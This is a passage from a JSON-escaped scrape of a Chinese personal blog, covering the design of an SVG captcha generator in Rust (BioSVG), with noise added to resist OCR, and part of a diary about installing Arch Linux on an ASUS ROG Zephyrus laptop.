\u003ccode\u003ez\u003c/code\u003e:闭合路径\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e在绘图的时候,SVG画布采用左上角为原点 \u003ccode\u003e0, 0\u003c/code\u003e,向右为x轴正方向,向下为y轴正方向。在上述四个指令里,大写指令意味着绝对坐标,小写指令意味着相对坐标。\u003ccode\u003eM\u003c/code\u003e 指令是用来移动画笔的,不会在画布上画出任何图形,而其余指令 \u003ccode\u003eL H V\u003c/code\u003e 以及有关贝塞尔曲线的一些指令会进行绘制。绘制完毕之后,画笔位置会停留在绘制完成的坐标上。\u003c/p\u003e\n\u003cp\u003e比如,下面的代码会绘制一个三角形:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-xml\" data-lang=\"xml\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;svg\u003c/span\u003e \u003cspan class=\"na\"\u003exmlns=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;http://www.w3.org/2000/svg\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;100\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;100\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eviewBox=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;0 0 100 100\u0026#34;\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;path\u003c/span\u003e \u003cspan class=\"na\"\u003ed=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;M 0 0 L 100 0 L 50 100 Z\u0026#34;\u003c/span\u003e \u003cspan class=\"nt\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;/svg\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e上面的绘图指令先将画笔移动到 \u003ccode\u003e0, 0\u003c/code\u003e,然后向右侧画一条直线到 \u003ccode\u003e100, 0\u003c/code\u003e,再向左下方画一条直线到 \u003ccode\u003e50, 100\u003c/code\u003e,最后从当前点绘制一条直线回到 \u003ccode\u003eM\u003c/code\u003e 指令指定的起始点,闭合路径,这样就绘制出了一个三角形。\u003c/p\u003e\n\u003cp\u003e上述SVG图形还可以用另一种相对坐标的方式来绘制:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-xml\" data-lang=\"xml\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;svg\u003c/span\u003e \u003cspan class=\"na\"\u003exmlns=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;http://www.w3.org/2000/svg\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;100\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;100\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eviewBox=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;0 0 100 100\u0026#34;\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;path\u003c/span\u003e \u003cspan class=\"na\"\u003ed=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;M 0 0 l 100 0 l -50 100 z\u0026#34;\u003c/span\u003e \u003cspan class=\"nt\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;/svg\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这两种方式绘制出来的图形是完全一样的。\u003c/p\u003e\n\u003ch2 id=\"验证码的绘制\"\u003e验证码的绘制\u003c/h2\u003e\n\u003cp\u003e在绘制验证码时,我们会先生成一个随机字符串,然后将每个字符绘制到画布上。根据前面的说法,使用 \u003ccode\u003e\u0026lt;text\u0026gt;\u003c/code\u003e 标签是不行的,于是需要使用 \u003ccode\u003e\u0026lt;path\u0026gt;\u003c/code\u003e 标签来绘制每个字符。这需要一个SVG字库方便我们拼接文本。我搜了一圈,找到了\u003ca href=\"https://gitlab.com/oskay/svg-fonts/\" target=\"_blank\" rel=\"noopener noreffer \"\u003e这个\u003c/a\u003e(但其实用 Inkscape 的 \u003ccode\u003e对象转路径\u003c/code\u003e 功能手动处理一下系统字体也OK,我是懒狗),里面包括了一些字体,都被整理成 \u003ccode\u003e\u0026lt;glyph\u0026gt;\u003c/code\u003e 路径格式,看起来是能用的。但是实际准备使用的时候我发现这个字库里面的所有路径都采用绝对定位的方式进行绘制,这样在我们拼接的时候就需要去解析每条绘制指令,并使用矩阵变换将其转换到正确的位置上,这样会增加很多复杂度。\u003c/p\u003e\n\u003cp\u003e这个时候我想到的第一个方法是通过 SVG 的 \u003ccode\u003etransform\u003c/code\u003e 来实现位置变换,这样就可以很方便的在不修改path的情况下将字母移动并渲染到任何位置,但很快我发现这条路并不可行。如果每个字符都采用transform来移动,那么就会造成一个后果:\u003cstrong\u003e同一个字符的所有绘制指令是完全相同的\u003c/strong\u003e。因此,脚本可以通过统计与全文匹配的方式,很轻松的破解出验证码。因此,想要实现SVG验证码,必须要想办法将随机噪音添加到每个字符的绘制指令中。为了实现这一点,我们还必须使用矩阵变换的方式来进行绘制,必要情况下还需要对某几条路径进行偏移。\u003c/p\u003e\n\u003cp\u003e对于绝对坐标,所有点位都是相对于画布原点 \u003ccode\u003e0, 0\u003c/code\u003e 的,而相对坐标则是相对于上一个点的坐标。变换坐标位置时,平移只需要 \u003ccode\u003ex\u0026#39;, y\u0026#39; = x + dx, y + dy\u003c/code\u003e,旋转需要 \u003ccode\u003ex\u0026#39;, y\u0026#39; = x * cosθ - y * sinθ, x * sinθ + y * cosθ\u003c/code\u003e,缩放需要 \u003ccode\u003ex\u0026#39;, y\u0026#39; = x * sx, y * sy\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e如果字符采用绝对坐标绘制的话,需要确定一个临时原点,比如字符的字面框中心或者字面框左上角,省事的话也可以直接使用第一个\u003ccode\u003eM\u003c/code\u003e指令的点位。将所有点位都变换到由临时点位规定的坐标系后,再进行平移、旋转、缩放等操作,最后再将所有点位变换回原来的坐标系,这样就可以实现对字符的位置变换了。如果采用相对坐标绘制的话,情况可能会稍微发生变化。相对坐标的每一条指令坐标都是相对于上一个结束点位的,因此我们会发现平移操作下,只需要移动第一个\u003ccode\u003eM\u003c/code\u003e点位即可,其他点位根本不需要改动;而在旋转操作下,所有点位都需要进行变动;在缩放操作下所有点位也都需要改动。这样以来,相对坐标的变换方式就会损失一个随机噪音插入点,即平移位置。因此,实现SVG验证码时,我们需要将所有的字符采用绝对坐标绘制,这样才能够保证噪音能够更好的耦合进文本信息中。\u003c/p\u003e\n\u003ch2 id=\"更进一步地混淆\"\u003e更进一步地混淆\u003c/h2\u003e\n\u003cp\u003e上面的实现方式已经为文本信息添加了足够多的随机化,但是如果想在视觉上添加障碍,我们可能还需要加入一些随机噪音线条。然后我在实现的时候就发现了一个问题:噪音线条的的 \u003ccode\u003epath\u003c/code\u003e 相比字符的 \u003ccode\u003epath\u003c/code\u003e 会短很多很多,只要稍加过滤再渲染,然后再套个OCR什么的,破解难度大大降低。因此,我想了个更进一步的办法。\u003c/p\u003e\n\u003cp\u003e在处理过程中,我们要把每条 \u003ccode\u003epath\u003c/code\u003e 中的所有 \u003ccode\u003ecommand\u003c/code\u003e 都提取出来,因此每个 \u003ccode\u003epath\u003c/code\u003e 都有一个 \u003ccode\u003ecommand\u003c/code\u003e 列表,我们可以把一个很长的 \u003ccode\u003epath\u003c/code\u003e 切成若干个很短的 \u003ccode\u003epath\u003c/code\u003e,并在每个 \u003ccode\u003epath\u003c/code\u003e 开头补齐相应的 \u003ccode\u003eM\u003c/code\u003e 指令,这样就可以将字符和噪音线条的 \u003ccode\u003epath\u003c/code\u003e 长度统一到一个很小的范围内,这样就可以防止长度过滤了。\u003c/p\u003e\n\u003ch2 id=\"具体实现\"\u003e具体实现\u003c/h2\u003e\n\u003cp\u003e戳这里:\u003ca href=\"https://github.com/Reverier-Xu/biosvg\" target=\"_blank\" rel=\"noopener noreffer \"\u003eBioSVG - GitHub\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e我很可爱,请给我star.jpg\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e欢迎带伙对这个想法提出更进一步的issue和PR。\u003c/p\u003e\n\u003cp\u003e以及这个crate我发布到\u003ca href=\"https://crates.io/crates/biosvg\" target=\"_blank\" rel=\"noopener noreffer \"\u003ecrates.io\u003c/a\u003e上了,如果想要使用的话可以直接:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ecargo add biosvg\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e使用起来很方便:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-rust\" data-lang=\"rust\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eanswer\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esvg\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBiosvgBuilder\u003c/span\u003e::\u003cspan class=\"n\"\u003enew\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edifficulty\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecolors\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"fm\"\u003evec!\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;#0078D6\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eto_string\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;#aa3333\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eto_string\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;#f08012\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eto_string\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;#33aa00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eto_string\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;#aa33aa\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eto_string\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eunwrap\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"fm\"\u003eprintln!\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;answer: {}\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eanswer\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"fm\"\u003eprintln!\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;svg: {}\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esvg\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e颜色越多越好,请至少传入四种颜色。\u003c/p\u003e\n\u003cp\u003e另外,由于SVG验证码最终的生成结果是透明背景色,因此请确保你选择的这一大堆颜色在你的网站背景色下都是能够轻松分辨的。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/svg_1/"},{"title":"GU604VI折腾日记","time":"2023-06-22T18:40:19+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"前情提要\"\u003e前情提要\u003c/h2\u003e\n\u003cp\u003e接\u003ca href=\"https://blog.woooo.tech/posts/asus_linux_1/20230514.md\" rel=\"\"\u003e上文\u003c/a\u003e,新电脑有了,攒了一整年用来毕业旅行的钱换的。\u003c/p\u003e\n\u003ch2 id=\"电脑配置\"\u003e电脑配置\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-plaintext\" data-lang=\"plaintext\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eMODEL: ROG Zephyrus M16 GU604VI_GU604VI 1.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eCPU: 13th Gen Intel i9-13900H (20) @ 5.200GHz\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eGPU: NVIDIA GeForce RTX 4070 Max-Q / Mobile\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eMEM: 32GB\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eDISK 1: HFS001TEJ9X101N 1TB\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eDISK 2: ZHITAI Ti7100 2TB\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e挺不错的,打算当主力机用个四五年,本文主要记录一下在这个本上装 Arch Linux 所做出的一些努力。\u003c/p\u003e\n\u003ch2 id=\"安装过程\"\u003e安装过程\u003c/h2\u003e\n\u003cp\u003e总体来说没出什么幺蛾子,照着 \u003ca href=\"https://wiki.archlinux.org/title/Installation_guide\" target=\"_blank\" rel=\"noopener noreffer \"\u003eWiki\u003c/a\u003e 配就可以了。如果在 archiso 那里就卡显卡了,需要在内核参数里加上 \u003ccode\u003enouveau.modeset=0\u003c/code\u003e,然后重新启动。\u003c/p\u003e\n\u003cp\u003e桌面环境这里我继续选用了 KDE Plasma on Wayland,但是安装完成之后怎么都没法启动,一直以为是显卡问题…… 排查到最后发现是因为没装 \u003ccode\u003eXWayland\u003c/code\u003e,装上之后就好了,检查 \u003ccode\u003ejournalctl -b -1\u003c/code\u003e 查看上次开关机 log,相关日志如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-plaintext\" data-lang=\"plaintext\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch dbus-daemon[825]: [session uid=1000 pid=825] Activating via systemd: service name=\u0026#39;org.freedesktop.impl.portal.desktop.kde\u0026#39; unit=\u0026#39;plasma-xdg-desktop-portal-kde.service\u0026#39; requested by \u0026#39;:1.6\u0026#39; (uid=1000 pid=849 comm=\u0026#34;/usr/lib/xdg-desktop-portal\u0026#34;)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: No backend specified, automatically choosing drm\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch dbus-daemon[572]: [system] Successfully activated service \u0026#39;org.freedesktop.UPower\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch systemd[1]: Started Daemon for power management.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch baloo_file[835]: QDBusConnection: name \u0026#39;org.freedesktop.UDisks2\u0026#39; had owner \u0026#39;\u0026#39; but we thought it was \u0026#39;:1.31\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch baloo_file[835]: QDBusConnection: name \u0026#39;org.freedesktop.UPower\u0026#39; had owner \u0026#39;\u0026#39; but we thought it was \u0026#39;:1.34\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: OpenGL vendor string: Intel\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: OpenGL renderer string: Mesa Intel(R) Graphics (RPL-P)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: OpenGL version string: 4.6 (Core Profile) Mesa 23.1.2\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: OpenGL shading language version string: 4.60\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: Driver: Intel\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: GPU class: Unknown\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: OpenGL version: 4.6\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: GLSL version: 4.60\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: Mesa version: 23.1.2\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: Linux kernel version: 6.3.8\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: Requires strict binding: no\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: GLSL shaders: yes\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: Texture NPOT support: yes\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: Virtual Machine: no\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: kwin_core: Parse error in tiles configuration for monitor \u0026#34;32593100-170c-5758-be7c-15262ca65916\u0026#34; : \u0026#34;illegal value\u0026#34; Creating default setup\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: kwin_xkbcommon: XKB: inet:323:58: unrecognized keysym \u0026#34;XF86EmojiPicker\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: kwin_xkbcommon: XKB: inet:324:58: unrecognized keysym \u0026#34;XF86Dictate\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: kwin_xwl: Xwayland process failed to start\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:22 Reverier-Arch systemd[1]: Stopping User Manager for UID 973...\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:23 Reverier-Arch systemd[641]: Activating special unit Exit the Session...\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"内核和显卡驱动\"\u003e内核和显卡驱动\u003c/h2\u003e\n\u003cp\u003e最开始我直接使用的官方 Linux 内核,log 里小问题,不断,于是按照 \u003ca href=\"https://asus-linux.org/\" target=\"_blank\" rel=\"noopener noreffer \"\u003eASUS Linux\u003c/a\u003e 这里的提供的内核安装了 \u003ccode\u003elinux-g14\u003c/code\u003e,以及一系列配套工具 \u003ccode\u003easusctl\u003c/code\u003e 等等,并开启了相关服务。显卡驱动使用 \u003ccode\u003envidia-dkms\u003c/code\u003e,显卡调度等功能使用了 \u003ca href=\"https://asus-linux.org/\" target=\"_blank\" rel=\"noopener noreffer \"\u003eASUS Linux\u003c/a\u003e 提供的 \u003ccode\u003esupergfxctl\u003c/code\u003e,这是我目前见到过的最完美的显卡方案,你不用显卡他真的就不转。\u003c/p\u003e\n\u003ch2 id=\"电源管理\"\u003e电源管理\u003c/h2\u003e\n\u003cp\u003e电源管理依旧使用ASUS Linux解决方案,不过这个工具会默认给电池最大充电量限制到80%,这样可以延长电池寿命。于是我没怎么动,在实际使用体验中,80%电量大概可以用4个小时,也算舒心。\u003c/p\u003e\n\u003ch2 id=\"声音\"\u003e声音\u003c/h2\u003e\n\u003cp\u003e这台电脑有四个扬声器,两个是低音扬声器两个高音扬声器,其中两个低音扬声器需要额外靠电池供电,高音扬声器直接靠声卡供电,这就导致了在 Linux 默认声卡之下,只有两个高音扬声器能用,而且声音很小,低音扬声器完全没声音。我在网上搜了搜,似乎大伙在装了 \u003ca href=\"https://asus-linux.org/\" target=\"_blank\" rel=\"noopener noreffer \"\u003eASUS Linux\u003c/a\u003e 的内核之后,声音就能用了,但是我这里并没有,找来找去找到一个\u003ca href=\"https://forums.linuxmint.com/viewtopic.php?t=394616\" target=\"_blank\" rel=\"noopener noreffer \"\u003e帖子\u003c/a\u003e,原因可能单纯是这设备太新了,所以暂时没有适配方案。楼主最终自己patch了BIOS和内核,我差点以为我也要这么干,但最终在ASUS Linux的Discord群里问了几句,发现\u003ccode\u003elinux-g14\u003c/code\u003e其实已经带有这个patch了,我只需要修改一下ACPI tables即可。\u003c/p\u003e\n\u003cp\u003e根据 \u003ca href=\"https://gist.github.com/lamperez/d5b385bc0c0c04928211e297a69f32d7\" target=\"_blank\" rel=\"noopener noreffer \"\u003eLoad custom ACPI tables\u003c/a\u003e 这里的过程,我最终构建出了一个 